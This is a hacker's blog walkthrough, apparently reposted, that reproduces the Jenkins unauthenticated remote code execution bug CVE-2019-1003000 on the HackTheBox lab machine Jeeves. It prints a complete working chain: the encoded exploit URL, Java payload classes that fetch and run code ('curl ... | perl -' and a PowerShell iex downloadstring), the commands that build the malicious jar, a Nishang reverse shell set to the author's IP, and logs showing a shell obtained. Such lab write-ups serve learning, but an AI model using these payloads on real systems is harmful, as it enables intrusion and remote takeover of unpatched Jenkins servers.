BOOK THIS SPACE FOR AD
ARTICLE ADHi guys whatsup!
Orange Tsai published a really interesting writeup on their discovery of CVE-2019–1003000, an Unathenticated remote code exeuction (RCE) in Jenkins. There was a box from HackTheBox.eu that ran Jenkins, and while the configuration wasn’t perfect for this kind of test, I decided to play with it and see what I could figure out. I’ll get the exploit working with a new payload so that it runs on the Windows environment.
Jenkins has a Pipeline feature which is implemented in Groovy. The exploit author discovered that the user issue an unauthenticated GET request to provide Groovy Meta-Programming input. In this input, the attacker can use the @Grab annotation to invoke Grape, the built-in JAR dependency management tool for Groovy, and have it download a jar and run it. The write-up goes into much more detail if you want more background.
I’m going to be testing on Jeeves, from HackTheBox.eu. This is a good place to start because it’s already set up with Jenkins installed. The web interface for Jenkins is available on port 50000, at http://10.10.10.63:50000/askjeeves.
Jeeves is not perfect. This host has authentication turned off for Jenkins. This box was in fact easily solved by just by visiting the Script Console and running Groovy script there. Still, I’ll see if I can get execution going using the path provided, and trusting that even without auth, I would have access.
I will also have to update the payload for a Windows target.
If the point of the exploit is to create a GET request that gets Jenkins to connect back to my machine and request the jar file, that seems like a good place to start. In the POC video, they show visiting /securityRealm/user/admin and getting back a page about the admin, even without auth. I can reproduce that by visiting http://10.10.10.63:50000/askjeeves/securityRealm/user/admin/:
Now I’ll visit the workflow plugin’s checkScriptCompile API endpoint with some Groovy that should use the @Grab meta annotation to request the jar from me. I’ll start a python3 -m http.server 80 and visit:
http://10.10.10.63:50000/askjeeves/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27orange.tw%27,%20root=%27http://10.10.14.21/%27)%0A@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%271%27)%0Aimport%20Orange;In that url, I provide a value parameter which is the Groovy script to run. It uses %0A for newlines. Here’s how that script looks unencoded:
@GrabConfig(disableChecksums=true)@GrabResolver(name='orange.tw', root='http://10.10.14.21/')
@Grab(group='tw.orange', module='poc', version='1')
import Orange;
It defines the parameters for the ‘orange.tw’ package, including where to get it, and then invokes @Grab to fetch it.
On visiting the url, I do see activity on my web server:
root@kali# python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.63 - - [27/Feb/2019 11:07:18] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:07:18] "HEAD /tw/orange/poc/1/poc-1.pom HTTP/1.1" 404 -
10.10.10.63 - - [27/Feb/2019 11:07:19] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:07:19] "HEAD /tw/orange/poc/1/poc-1.jar HTTP/1.1" 404 -
Very cool! It tried to download a pom file, and when that failed, went for poc-1.jar. That matches the module and the version from the url. I can change module to “0xdf” and version to “223” in the url and see that reflected:
10.10.10.63 - - [27/Feb/2019 11:34:35] code 404, message File not found10.10.10.63 - - [27/Feb/2019 11:34:35] "HEAD /tw/orange/0xdf/223/0xdf-223.pom HTTP/1.1" 404 -
10.10.10.63 - - [27/Feb/2019 11:34:36] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:34:36] "HEAD /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 404 -
The web browser is showing a big error message that it can’t resolve the dependency:
The blog gives an example payload that looks like this:
public class Orange {public Orange(){
try {
String payload = "curl orange.tw/bc.pl | perl -";
String[] cmds = {"/bin/bash", "-c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}
I can clearly see that it will exec /bin/bash -c curl orange.tw/bc.pl | perl -. I can assume that bc.pl is a reverse shell.
This will have to be modified for a Windows target. I’ll have it run PowerShell to get and Invoke a Nishang shell:
public class Orange {public Orange(){
try {
String payload = "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.21/shell.ps1')";
String[] cmds = {"cmd", "/c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}
Now I’ll build that into a jar. Compile the java:
root@kali# javac Orange.javaMake the appropriate metadata:
root@kali# mkdir -p META-INF/services/root@kali# echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
root@kali# find
.
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners
Bundle it into a jar:
root@kali# jar cvf 0xdf-223.jar Orange.class META-INFadded manifest
adding: Orange.class(in = 579) (out= 416)(deflated 28%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/org.codehaus.groovy.plugins.Runners(in = 7) (out= 9)(deflated -28%)
Next I’ll move the jar into the path expected by the GET request:
root@kali# mkdir -p tw/orange/0xdf/223/root@kali# mv 0xdf-223.jar tw/orange/0xdf/223/
I’ll also get a copy of Invoke-PowerShellTcp.ps1 and named it shell.ps1 to match what’s in the jar:
root@kali# cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 shell.ps1Then I’ll grab the example line and paste it at the end of the file, with my IP/port information:
root@kali# tail -1 shell.ps1Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.21 -Port 443
Now the PowerShell will request this file, and execute it loading all of the functions into the PowerShell session, and then Invoking the one that creates a shell connection back to me.
I’ll open a nc listener on port 443. Now I just need to visit the url again. On refresh, I first see activity in the web server, the requet for the jar file followed 6 seconds later by the request for shell.ps1:
10.10.10.63 - - [27/Feb/2019 12:15:36] "HEAD /tw/orange/0xdf/223/0xdf-223.pom HTTP/1.1" 404 -10.10.10.63 - - [27/Feb/2019 12:15:36] "HEAD /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 200 -
10.10.10.63 - - [27/Feb/2019 12:15:37] "GET /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 200 -
10.10.10.63 - - [27/Feb/2019 12:15:43] "GET /shell.ps1 HTTP/1.1" 200 -
Shortly after that, I get a connection on nc, and I have a shell:
root@kali# nc -lnvp 443Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.63.
Ncat: Connection from 10.10.10.63:49680.
Windows PowerShell running as user kohsuke on JEEVES
Copyright (C) 2015 Microsoft Corporation. All rights reserved.PS C:\Users\Administrator\.jenkins>whoami
jeeves\kohsuke
The first time I tried this, after Jenkins downloaded my jar file, I got the following error message in the web browser:
java.lang.UnsupportedClassVersionError: Orange has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0
Basically, I compiled the class file using a later version of java, and it can’t understand it.
According to the Wikipedia page on Java Class Files, version 55 is Java SE 11, and 52 is Java SE 8.
I installed Java 8 on my computer with
root@kali# apt install openjdk-8-jdkThen I used update-alternatives to select the right version for now:
root@kali# update-alternatives --config javacThere are 4 choices for the alternative javac (providing /usr/bin/javac). Selection Path Priority Status
------------------------------------------------------------
0 /usr/lib/jvm/java-11-openjdk-amd64/bin/javac 1111 auto mode
* 1 /opt/jdk-11.0.2/bin/javac 1 manual mode
2 /usr/lib/jvm/java-10-openjdk-amd64/bin/javac 1101 manual mode
3 /usr/lib/jvm/java-11-openjdk-amd64/bin/javac 1111 manual mode
4 /usr/lib/jvm/java-8-openjdk-amd64/bin/javac 1081 manual modePress <enter> to keep the current choice[*], or type selection number: 4
update-alternatives: using /usr/lib/jvm/java-8-openjdk-amd64/bin/javac to provide /usr/bin/javac (javac) in manual mode
Then I recompiled and re-made my jar, and it worked!
If I mess up something in the jar file, I can’t just update it locally and refresh. When I do that, Grape thinks the correct module is already there, and doesn’t go to re-fetch it. Obviously I can reset the box at this point to start over. But I can also rebuild it with the next version number.
For example, if I uploaded with a version of java that isn’t compatible with the box, I can recompile that locally, rebuild the jar, and everything else using version 224 instead of 223. I’ll need a new directory and filename for the jar:
root@kali# javac Orange.javaroot@kali# jar cvf 0xdf-224.jar Orange.class META-INF
added manifest
adding: Orange.class(in = 579) (out= 416)(deflated 28%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/org.codehaus.groovy.plugins.Runners(in = 7) (out= 9)(deflated -28%)
root@kali# mkdir tw/orange/0xdf/224
root@kali# cp 0xdf-224.jar tw/orange/0xdf/224/
Now I update the version in the url and refresh, and I get a shell